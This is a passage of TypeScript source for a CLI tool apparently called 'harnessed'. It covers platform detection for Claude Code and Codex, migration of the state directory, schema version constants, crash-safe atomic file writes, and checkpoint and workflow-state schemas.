existed. `homeDir = ~/.claude`; `stateRoot = ~/.claude/harnessed`\n * (the getHarnessedRoot SoT); `mcpConfigPath = ~/.claude.json` (homedir sibling).\n */\nexport function claudeDescriptor(home: string = homedir()): PlatformDescriptor {\n  const claudeHome = join(home, '.claude')\n  return {\n    id: 'claude',\n    homeDir: claudeHome,\n    stateRoot: join(claudeHome, 'harnessed'),\n    settingsPath: join(claudeHome, 'settings.json'),\n    skillsDir: join(claudeHome, 'skills'),\n    commandsDir: join(claudeHome, 'commands'),\n    pluginsRegistry: join(claudeHome, 'plugins', 'installed_plugins.json'),\n    // mcpConfigPath is a SIBLING of `.claude` (`<home>/.claude.json`), based on\n    // the same home base — not a child of homeDir.\n    mcpConfigPath: join(home, '.claude.json'),\n    // claude writes its env keys into JSON settings.json (capability present).\n    supportsEnvKeyWrite: true,\n    // Claude Code exposes the active session id to Bash-invoked CLI + hooks.\n    sessionIdEnv: 'CLAUDE_CODE_SESSION_ID',\n  }\n}\n\n/**\n * The Codex descriptor (v9.0 Phase C / D2) — the first REAL second harness the\n * v9.0 seam targets. Host-verified 2026-06-24 (`~/.codex/` + developers.openai.com/codex).\n *\n * Divergences from claude that this descriptor encodes EXPLICITLY (no derivation):\n *   - `skillsDir` is the SHARED `~/.agents/skills` convention, NOT `~/.codex/skills`.\n *     (`.agents/skills/<name>/SKILL.md` is byte-compatible with CC's format; codex\n *     reads it. Codex's own bundled skills live at `~/.codex/skills/.system/` —\n *     irrelevant; harnessed-installed skills go to the shared dir.)\n *   - `settingsPath === mcpConfigPath` — both point at the same `config.toml`\n *     (settings + `[mcp_servers.*]` live in one TOML file).\n *   - `pluginsRegistry` is `null` — codex has no `installed_plugins.json`\n *     (inline `[marketplaces.*]` instead).\n *   - `supportsEnvKeyWrite` is `false` — the CC env keys are meaningless to codex\n *     and its config is TOML, so harnessed's JSON env-key merge is capability-absent.\n */\nexport function codexDescriptor(home: string = homedir()): PlatformDescriptor {\n  const codexHome = join(home, '.codex')\n  const configToml = join(codexHome, 'config.toml')\n  return {\n    id: 'codex',\n    homeDir: codexHome,\n    stateRoot: join(codexHome, 'harnessed'),\n    settingsPath: configToml,\n    // SHARED convention dir, NOT <homeDir>/skills.\n    skillsDir: join(home, '.agents', 'skills'),\n    commandsDir: join(codexHome, 'prompts'),\n    pluginsRegistry: null,\n    mcpConfigPath: configToml,\n    supportsEnvKeyWrite: false,\n    // No verified codex session-id env → single-session fallback (anti-stale).\n    sessionIdEnv: null,\n  }\n}\n\n/** Known platform descriptors keyed by id (HARNESSED_PLATFORM / .platform pin lookup). */\nfunction descriptorById(id: string, home: string): PlatformDescriptor | undefined {\n  if (id === 'claude') return claudeDescriptor(home)\n  if (id === 'codex') return codexDescriptor(home)\n  return undefined\n}\n\n/**\n * Resolve the active platform descriptor.\n *\n * Phase C precedence (claude-first = zero blast radius for the incumbent):\n *   1. `HARNESSED_ROOT_OVERRIDE` set → claude descriptor with `stateRoot`\n *      replaced by the override verbatim (kept FIRST — preserves e2e test\n *      isolation; other fields stay claude-default, matching today).\n *   2. `HARNESSED_PLATFORM=<id>` env → that descriptor (claude | codex). Unknown\n *      id → ignore, fall through.\n *   3. `.platform` pin file at the claude/incumbent stateRoot (the well-known\n *      location) → the pinned descriptor if it names a known id. Absent /\n *      unreadable / unknown id → fall through.\n *   4. auto-probe: `~/.claude/` exists → claude (INCUMBENT wins); else\n *      `~/.codex/` exists → codex.\n *   5. fallback → `claudeDescriptor()`.\n *\n * A claude user with no env / no pin gets byte-identical behavior to today\n * (~/.claude present → step 4 returns claudeDescriptor; absent → step 5 same).\n * codex is reached ONLY via explicit opt-in (env / pin) or a codex-only host.\n */\nexport function detectPlatform(home: string = homedir()): PlatformDescriptor {\n  const base = claudeDescriptor(home)\n\n  // 1. HARNESSED_ROOT_OVERRIDE — FIRST, unchanged (test-isolation hook).\n  const override = process.env.HARNESSED_ROOT_OVERRIDE\n  if (override !== undefined && override !== '') return { ...base, stateRoot: override }\n\n  // 2. HARNESSED_PLATFORM env.\n  const envPlatform = process.env.HARNESSED_PLATFORM\n  if (envPlatform !== undefined && envPlatform !== '') {\n    const d = descriptorById(envPlatform, home)\n    if (d) return d\n    // unknown id → fall through (do not throw — anti-footgun)\n  }\n\n  // 3. `.platform` pin at the claude/incumbent stateRoot.\n  try {\n    const pin = readFileSync(join(base.stateRoot, '.platform'), 'utf8').trim()\n    const d = descriptorById(pin, home)\n    if (d) return d\n  } catch {\n    // absent / unreadable → fall through\n  }\n\n  // 4. auto-probe — INCUMBENT (claude) wins when its home exists.\n  //    Wrapped defensively: a partial `node:fs` mock (some unit tests stub only\n  //    the sync writers they exercise) can leave `existsSync` undefined. Since\n  //    the auto-probe only disambiguates the no-opt-in case and its absence of\n  //    signal means \"use the incumbent\", any probe failure degrades to the\n  //    claude-default fallback — byte-identical to the pre-Phase-C behavior.\n  try {\n    if (existsSync(base.homeDir)) return base\n    const codex = codexDescriptor(home)\n    if (existsSync(codex.homeDir)) return codex\n  } catch {\n    // existsSync unavailable / threw → fall through to claude fallback.\n  }\n\n  // 5. fallback → claude.\n  return base\n}\n\n// ── Config-dir resolvers (Phase B / D1) ──────────────────────────────────────\n//\n// Each is a thin `detectPlatform(home).<field>` accessor. They centralize the\n// ~7 scattered `~/.claude/`-config call sites behind the descriptor so Phase C\n// (28) can retarget a second harness by swapping the descriptor, not the call\n// sites. The optional `home` threads through capabilityResolver's homedirOverride\n// test param (D2). HARNESSED_ROOT_OVERRIDE is orthogonal — it only moves\n// stateRoot, so these config resolvers are unaffected by it.\n\n/** `<home>/.claude/settings.json` — the shared user-scope settings file. */\nexport function getSettingsPath(home?: string): string {\n  return detectPlatform(home).settingsPath\n}\n\n/** `<home>/.claude/skills` — user-skills install root. */\nexport function getSkillsDir(home?: string): string {\n  return detectPlatform(home).skillsDir\n}\n\n/** `<home>/.claude/commands` — platform-level slash-command dir. */\nexport function getCommandsDir(home?: string): string {\n  return detectPlatform(home).commandsDir\n}\n\n/**\n * Plugin registry path, or `null` when the active platform has none (codex).\n * Phase C / D4: widened to `string | null`; callers tolerate null as \"no\n * registry → no plugins\".\n */\nexport function getPluginsRegistry(home?: string): string | null {\n  return detectPlatform(home).pluginsRegistry\n}\n\n/** `<home>/.claude.json` — CC MCP/plugin config (homedir SIBLING, not a child). */\nexport function getMcpConfigPath(home?: string): string {\n  return detectPlatform(home).mcpConfigPath\n}\n\n/**\n * Deduped skills-dir set of ALL known descriptors (claude + codex) =\n * `~/.claude/skills` + `~/.agents/skills` + `~/.codex/skills`. Phase C / D6:\n * replaces the hardcoded `['.claude','.agents']` dual-probe in idempotent.ts so\n * the probe set is descriptor-derived (single source of truth). Order: claude first.\n *\n * v4.14.0 — added `~/.codex/skills`: codex's OWN skills dir is distinct from the\n * shared `~/.agents/skills` convention (its descriptor skillsDir), and upstream\n * installers targeting codex write there (e.g. `@opengsd/gsd-core --codex` →\n * `~/.codex/skills/gsd-<name>`). Probe-only widening — install targets still\n * come from the active descriptor's skillsDir.\n */\nexport function harnessSkillsDirs(home?: string): string[] {\n  const codex = codexDescriptor(home)\n  const dirs = [claudeDescriptor(home).skillsDir, codex.skillsDir, join(codex.homeDir, 'skills')]\n  return [...new Set(dirs)]\n}\n","// v3.0.3 hotfix — Claude-Code-co-located state/checkpoint/audit/lock/governance roots.\n//\n// Problem: pre-v3.0.3 the harness rooted ALL of its own state directories at\n// `process.cwd()` via the literal path `.harnessed/...`. When a user launches\n// `harnessed setup` from a read-only CWD (e.g. Warp terminal default\n// `C:\\Program Files\\Warp\\`) the very first mkdir call inside a successful\n// install path (`updateInstalled` → write `<cwd>/.harnessed/state.json`)\n// throws `EPERM: operation not permitted, mkdir 'C:\\Program Files\\Warp\\.harnessed'`,\n// surfacing in the Step B parallel batch as the anonymous `[B] failed  ?:` line\n// (Promise.allSettled rejection → fallback to `name: '?'`).\n//\n// Historical context:\n//   - v2.0.1 already migrated `.harnessed-backup/` → `~/.harnessed/backups/`\n//     via `getBackupRoot()` in `backup.ts` (sister pattern, single SoT).\n//   - v3.0.2 added `getMcpSpawnCwd()` for the MCP-install spawn cwd surface.\n//   - v3.0.3 generalises the migration to the **rest** of the harness-owned\n//     state directories (state.json + checkpoints/ + current-workflow.json +\n//     .lock + audit.log + governance.json + archive/) AND co-locates the\n//     entire root under `~/.claude/harnessed/` next to `~/.claude/skills/`\n//     and `~/.claude.json` — the user's Claude Code state directory is the\n//     natural neighbor for the harness's Claude-Code-managing state.\n//\n// Solution: `getHarnessedRoot()` returns `homedir()/.claude/harnessed`\n// unconditionally (sister `getBackupRoot()` v2.0.1 posture). All callers\n// compose their subdir via `harnessedSubdir(name)` so the SoT is honored.\n//\n// Auto-migration: `migrateLegacyHarnessedRoot()` detects pre-v3.0.3\n// `~/.harnessed/` (v2.0.1+ users with existing backups) and renames it\n// atomically to `~/.claude/harnessed/`. Called lazily on first\n// `getHarnessedRoot()` use so any harnessed CLI command triggers the move\n// without requiring a re-run of `harnessed setup`.\n//\n// Why unconditional (no probe + fallback)? Symmetric with v2.0.1 + v3.0.2 —\n// homedir is reliably writable on Win/Mac/Linux; falling back to ctx.cwd\n// re-introduces the EPERM bug we are fixing. `~/.claude/` is already created\n// by Claude Code itself when the user installs CC, so the parent always exists.\n\nimport { existsSync, mkdirSync, renameSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { detectPlatform } from './platform.js'\n\n/**\n * Return the homedir-rooted harness state root, co-located under Claude Code's\n * state directory.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1 and\n * `src/installers/lib/safeCwd.ts` `getMcpSpawnCwd()` v3.0.2 — same unconditional\n * homedir posture.\n *\n * Returns absolute path `<homedir>/.claude/harnessed`. Callers should use\n * `harnessedSubdir(name)` for nested directories rather than `join` directly,\n * to keep all path composition routed through the single SoT.\n *\n * Pure path composition — no filesystem side effects. Legacy directory\n * migration is performed explicitly by CLI entry points via\n * `migrateLegacyHarnessedRoot()` (called from `src/cli.ts` before any\n * subcommand runs), keeping unit tests free of fs side-effects.\n *\n * Test isolation: if `HARNESSED_ROOT_OVERRIDE` is set, return that value\n * verbatim. This is the supported mechanism for e2e tests to redirect the\n * harness root into a per-test tmpdir without polluting the real user home\n * directory. Production code never sets this env var; the override has no\n * effect on real CLI invocations.\n *\n * v9.0 Phase A: routed through the `detectPlatform()` seam — the state root is\n * now `detectPlatform().stateRoot` rather than a literal here. Behavior is\n * UNCHANGED: the claude descriptor returns `~/.claude/harnessed`, and the\n * `HARNESSED_ROOT_OVERRIDE` precedence moved into `detectPlatform()` verbatim.\n * The seam lets Phase C target a second harness without touching this SoT.\n */\nexport function getHarnessedRoot(): string {\n  return detectPlatform().stateRoot\n}\n\n/**\n * Compose a subdirectory under the harness root. Convenience over\n * `join(getHarnessedRoot(), name)` so callers do not have to import `path`.\n *\n * Example: `harnessedSubdir('checkpoints')` →\n * `<homedir>/.claude/harnessed/checkpoints`.\n */\nexport function harnessedSubdir(name: string): string {\n  return join(getHarnessedRoot(), name)\n}\n\n/**\n * Compose a file path under the harness root.\n *\n * Example: `harnessedFile('state.json')` →\n * `<homedir>/.claude/harnessed/state.json`.\n */\nexport function harnessedFile(name: string): string {\n  return join(getHarnessedRoot(), name)\n}\n\n/**\n * Migrate the legacy `~/.harnessed/` directory (created by v2.0.1+ for\n * `backups/` and by v3.0.2 for state surfaces) to the new co-located\n * `~/.claude/harnessed/` location.\n *\n * Four cases:\n *   1. Only legacy exists  → atomic rename to new path.\n *   2. Only new exists     → no-op (already migrated or fresh install).\n *   3. Both exist          → rename legacy to `~/.harnessed.legacy-bak/`\n *                            and emit a stderr warning. Preserves user data;\n *                            avoids data loss from a clobbering merge.\n *   4. Neither exists      → no-op (fresh install).\n *\n * Sync API (renameSync) because this runs once at startup and we want the\n * harnessed root to be in its final location before any other helper composes\n * a path against it. The performance cost of a single rename is negligible.\n *\n * No catch-and-swallow: filesystem errors propagate to the caller so the\n * harness fails loudly rather than silently writing to the wrong location.\n * Idempotency is preserved by the `migrationAttempted` guard above + by\n * checking the legacy-bak sentinel before renaming a second time.\n */\nexport function migrateLegacyHarnessedRoot(): void {\n  const legacyRoot = join(homedir(), '.harnessed')\n  const newRoot = join(homedir(), '.claude', 'harnessed')\n  const claudeParent = join(homedir(), '.claude')\n\n  if (!existsSync(legacyRoot)) return // cases 2 + 4: nothing to do\n\n  if (!existsSync(newRoot)) {\n    // Case 1: clean migration.\n    mkdirSync(claudeParent, { recursive: true })\n    renameSync(legacyRoot, newRoot)\n    console.error(\n      `[harnessed] migrated legacy state directory ${legacyRoot} → ${newRoot} (v3.0.3 path change)`,\n    )\n    return\n  }\n\n  // Case 3: both exist — preserve legacy under a sibling bak path. If the\n  // bak path already exists, a prior run already did the rescue + the legacy\n  // path is somehow back; surface that clearly rather than overwriting.\n  const safetyBak = join(homedir(), '.harnessed.legacy-bak')\n  if (existsSync(safetyBak)) {\n    console.error(\n      `[harnessed] WARN: ${legacyRoot} reappeared after a prior migration (existing bak at ${safetyBak}); leaving in place — inspect manually if needed`,\n    )\n    return\n  }\n  renameSync(legacyRoot, safetyBak)\n  console.error(\n    `[harnessed] both ${legacyRoot} and ${newRoot} existed — legacy directory preserved at ${safetyBak} (review manually if you need data from it; v3.0.3 path change)`,\n  )\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v<N>` covers 17 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n//   (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n//   (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n//       bucket — adapter-specific strings are legal, never throw)\n//   (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 17 surfaces are the schema-producing artifacts:\n//   - routing-snapshot      : routing engine arbitrate output snapshot\n//   - handoff-doc           : phase → phase handoff document\n//   - manifest-state        : .harnessed/state/manifest.json\n//   - installer-state       : .harnessed/state/installer.json\n//   - route-decision-log    : routing decision audit log\n//   - current-workflow      : workflow state machine (active / paused / complete)  ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n//   - config                : .harnessed/config.json (gstack_prefix store)        ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n//   - governance            : .harnessed/governance.json (gstack veto status)     ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n//   - aliases               : manifests/aliases.yaml                              ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n//   - known-good            : versions/<harnessed-ver>-known-good.yaml            ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n//   - capabilities          : workflows/capabilities.yaml                         ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n//   - judgment              : workflows/judgments/*.yaml                          ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n//   - workflow              : workflows/<sub>/workflow.yaml v2                    ← Phase v2.0-2.4 W0 ADD 16th surface (R20.1+R20.2+R20.9)\n//   - workflow_v3           : workflows/<stage>/<sub>/workflow.yaml v3            ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to)\n//   - discipline            : workflows/disciplines/*.yaml                        ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate)\n//\n// NOTE: planFeature surface removed in v3.9.16 (execute-task/plan-feature/verify-work retirement).\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v<N>`. Each producer\n *  declares its surface name once via `SCHEMA_VERSIONS` below and references it\n *  through this type, so a string literal drift is a compile error.\n *  Default is `.v1`; v2 entry sister: `SchemaVersionV2<S>` for explicit v2 surfaces;\n *  v3 entry sister: `SchemaVersionV3<S>` for explicit v3 surfaces. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\nexport type SchemaVersionV2<S extends string> = `harnessed.${S}.v2`\nexport type SchemaVersionV3<S extends string> = `harnessed.${S}.v3`\n\n/** Single source of truth for the 17 surface names (B-32 / D-16). Producers MUST\n *  import from this const — direct string literals fail the Wave 2 grep\n *  acceptance (≥ 17 `harnessed.\\w+.v\\d` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n  routingSnapshot: 'harnessed.routing-snapshot.v1',\n  handoffDoc: 'harnessed.handoff-doc.v1',\n  phasesYaml: 'harnessed.phases-yaml.v1',\n  manifestState: 'harnessed.manifest-state.v1',\n  installerState: 'harnessed.installer-state.v1',\n  routeDecisionLog: 'harnessed.route-decision-log.v1',\n  checkpoint: 'harnessed.checkpoint.v1',\n  currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD (D-02 KARPATHY 3-state)\n  workflowStore: 'harnessed.workflow-store.v1', // ← Phase 15 ADD (per-repo multi-workflow store)\n  config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD (D-01 PROBE gstack_prefix store)\n  governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD (D-04 PUSH veto status)\n  aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD (D-01 RICH)\n  knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD (D-03 YAML manifest)\n  capabilities: 'harnessed.capabilities.v1', // ← Phase v2.0-2.3 W0 ADD (R20.2 flat yaml capabilities manifest validate)\n  judgment: 'harnessed.judgment.v1', // ← Phase v2.0-2.3 W0 ADD (R20.4 multi-file judgments validate)\n  workflow: 'harnessed.workflow.v2', // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD (R20.1+R20.2+R20.9 workflow.yaml v2)\n  workflow_v3: 'harnessed.workflow.v3', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD (D-09 disciplines_applied + D-05 tools_available + master delegates_to per Pattern A B.1 LOCK)\n  discipline: 'harnessed.discipline.v1', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD (D-09 L0 Discipline Substrate, sister judgment.v1 multi-file pattern)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n *  inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n  Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n  Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n  Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n  Type.Literal(SCHEMA_VERSIONS.manifestState),\n  Type.Literal(SCHEMA_VERSIONS.installerState),\n  Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n  Type.Literal(SCHEMA_VERSIONS.checkpoint),\n  Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD\n  Type.Literal(SCHEMA_VERSIONS.workflowStore), // ← Phase 15 ADD\n  Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD\n  Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD\n  Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD\n  Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD\n  Type.Literal(SCHEMA_VERSIONS.capabilities), // ← Phase v2.0-2.3 W0 ADD\n  Type.Literal(SCHEMA_VERSIONS.judgment), // ← Phase v2.0-2.3 W0 ADD\n  Type.Literal(SCHEMA_VERSIONS.workflow), // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD (first .v2 in union)\n  Type.Literal(SCHEMA_VERSIONS.workflow_v3), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD (first .v3 in union)\n  Type.Literal(SCHEMA_VERSIONS.discipline), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n *  rule (b) unknown values gracefully degrade to the `unknown` handler. The\n *  handler-shape encodes the contract so the type system enforces it.\n *\n *  Phase v3.0-3.3 NOTE: `workflow.v3` and `discipline.v1` are the latest\n *  surfaces. The v1 handler accepts any *known* surface regardless of version\n *  suffix — consumers of v2/v3-only surfaces must check the literal explicitly\n *  (the schema_version field is also Type.Literal-constrained at schema-level,\n *  so structural drift fails earlier). */\nexport function branchOnSchemaVersion<T>(\n  v: string,\n  handlers: { v1: () => T; unknown: () => T },\n): T {\n  // Any string matching a registered SCHEMA_VERSIONS value (v1, v2, or v3) routes\n  // to the v1 handler — the legacy name reflects rule (a) \"known surface\" semantics.\n  const isKnownVersion = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n  return isKnownVersion ? handlers.v1() : handlers.unknown()\n}\n","// src/checkpoint/atomicWrite.ts — crash-safe file writes (v4.1.3).\n//\n// Plain writeFile/writeFileSync over a live file leaves a half-written/corrupt\n// file if the process crashes or loses power mid-write. For the harness state\n// singletons (current-workflow.json, checkpoint envelopes, archive dumps) a\n// corrupt write is data loss the resume path can't recover. Write to a sibling\n// `<path>.tmp` first, then rename — rename is atomic on the same filesystem, so\n// a reader sees either the old file or the complete new one, never a partial.\n\nimport { renameSync, writeFileSync } from 'node:fs'\nimport { rename, writeFile } from 'node:fs/promises'\n\n// v4.11.1 — UNIQUE temp suffix per write. A shared `<path>.tmp` races when two\n// writers target the same path concurrently (parallel `harnessed setup`\n// force-update installers all calling `updateInstalled()` on state.json): both\n// write `<path>.tmp`, the first rename moves it, the second rename hits ENOENT.\n// pid + a monotonic counter is unique per process+call without Date.now()/random.\n// (Last-writer-wins on content is acceptable — state.json is best-effort, per the\n// state.ts \"data loss over crash\" contract — but the ENOENT crash is not.)\nlet tmpSeq = 0\nfunction tmpName(path: string): string {\n  return `${path}.${process.pid}.${++tmpSeq}.tmp`\n}\n\n// v4.11.1 — bounded rename retry. Unique tmp names kill the ENOENT collision, but\n// on Windows `MoveFileEx` (rename-replace) throws transient EPERM/EACCES/EBUSY\n// when concurrent writers contend on the SAME target (a parallel force-update all\n// renaming onto state.json). These clear in microseconds, so retry briefly; only\n// a persistent failure propagates (state.ts already prefers data-loss over crash).\nconst TRANSIENT_RENAME = new Set(['EPERM', 'EACCES', 'EBUSY', 'ENOENT'])\nconst RENAME_RETRIES = 10\nconst isTransient = (e: unknown): boolean =>\n  TRANSIENT_RENAME.has((e as NodeJS.ErrnoException)?.code ?? '')\n\n/** Async atomic write: temp file → rename (transient-contention retry). */\nexport async function writeFileAtomic(path: string, data: string): Promise<void> {\n  const tmp = tmpName(path)\n  await writeFile(tmp, data, 'utf8')\n  for (let i = 0; ; i++) {\n    try {\n      await rename(tmp, path)\n      return\n    } catch (e) {\n      if (i >= RENAME_RETRIES || !isTransient(e)) throw e\n      await new Promise((r) => setTimeout(r, 10 * (i + 1)))\n    }\n  }\n}\n\n/** Sync atomic write: temp file → rename (transient-contention retry, immediate). */\nexport function writeFileSyncAtomic(path: string, data: string): void {\n  const tmp = tmpName(path)\n  writeFileSync(tmp, data, 'utf8')\n  for (let i = 0; ; i++) {\n    try {\n      renameSync(tmp, path)\n      return\n    } catch (e) {\n      if (i >= RENAME_RETRIES || !isTransient(e)) throw e\n    }\n  }\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n *  in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n  Type.Literal('active'),\n  Type.Literal('paused'),\n  Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — workflow snapshot persisted to\n *  `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n *  `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n  {\n    schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n    phase: Type.String({ minLength: 1 }),\n    status: CheckpointStatus,\n    last_task: Type.String(),\n    key_decisions: Type.Array(Type.String()),\n    canonical_refs: Type.Array(Type.String()),\n    /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n     *  `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n    session_id: Type.Optional(Type.String()),\n    /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n     *  match; we capture and validate at restore time. */\n    cwd: Type.String({ minLength: 1 }),\n    timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n    archive_path: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n *  in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n  Type.Literal('active'),\n  Type.Literal('paused'),\n  Type.Literal('complete'),\n])\n\n/** v5.0 Spec 1 (ADR-0033 D4) — handoff/existence evidence ref. `evidence:\n *  [{path, sha256}]` serves both the fail-closed existence guard (C) and\n *  cross-CC handoff sha256 drift detection (F). */\nexport const EvidenceRef = Type.Object(\n  { path: Type.String({ minLength: 1 }), sha256: Type.String({ minLength: 1 }) },\n  { additionalProperties: false },\n)\n\n/** v5.0 Spec 1 (ADR-0033 D1) — per-sub progress ledger entry. Seeded upfront\n *  from the `gates` plan (fire→pending, skip→skipped+reason); flipped to\n *  done/failed by `checkpoint complete`/`fail`. */\nexport const SubProgressEntry = Type.Object(\n  {\n    // flattened sub name, e.g. \"task-code\".\n    sub: Type.String({ minLength: 1 }),\n    status: Type.Union([\n      Type.Literal('pending'),\n      Type.Literal('done'),\n      Type.Literal('failed'),\n      Type.Literal('skipped'),\n      Type.Literal('rejected'),\n    ]),\n    gate_fired: Type.Boolean(),\n    // skip reason (from gates plan skip[].reason).\n    reason: Type.Optional(Type.String()),\n    // D2 (eng-review) — three-state evidence posture, NOT a boolean:\n    //   'verified'      — artifacts_expected declared AND all present (sha256 recorded)\n    //   'none_declared' — leaf declares no artifacts_expected → guard N/A (NOT a pass)\n    //   'overridden'    — --force used to bypass a missing-artifact block\n    evidence_status: Type.Optional(\n      Type.Union([\n        Type.Literal('verified'),\n        Type.Literal('none_declared'),\n        Type.Literal('overridden'),\n      ]),\n    ),\n    evidence: Type.Optional(Type.Array(EvidenceRef)),\n    // G6 — failure counter; incremented only on each ->failed transition (drives\n    // breakLoop detection). 'rejected' is terminal and does NOT increment it.\n    fail_count: Type.Optional(Type.Integer({ minimum: 0 })),\n  },\n  { additionalProperties: false },\n)\n\n/** Current-workflow envelope — singleton state file pointing at the last\n *  checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n *  before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n  {\n    schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n    phase: Type.String({ minLength: 1 }),\n    status: WorkflowStatus,\n    last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n    // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n    started_at: Type.String({ minLength: 1 }),\n    paused_at: Type.Optional(Type.String({ minLength: 1 })),\n    completed_at: Type.Optional(Type.String({ minLength: 1 })),\n    // v5.0 Spec 1 (ADR-0033 D1/D3) — additive optional ledger (sole SoT; the\n    // checkpoint envelope does NOT carry a copy). Old files without this field\n    // still `Value.Check`-pass → no schema version bump; readers use `?? []`.\n    sub_progress: Type.Optional(Type.Array(SubProgressEntry)),\n    // G1 — verification depth used during the verify phase ('light' | 'full').\n    verify_mode: Type.Optional(Type.Union([Type.Literal('light'), Type.Literal('full')])),\n    // G2 — when true the next-step contract reports NEXT:auto (skill auto-advances);\n    // when false NEXT:manual (pause for the operator). Precedence env > this > default.\n    